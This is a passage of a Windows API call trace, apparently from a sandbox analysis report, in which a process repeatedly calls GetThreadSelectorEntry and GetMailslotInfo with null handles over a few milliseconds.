GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.585] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.586] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, 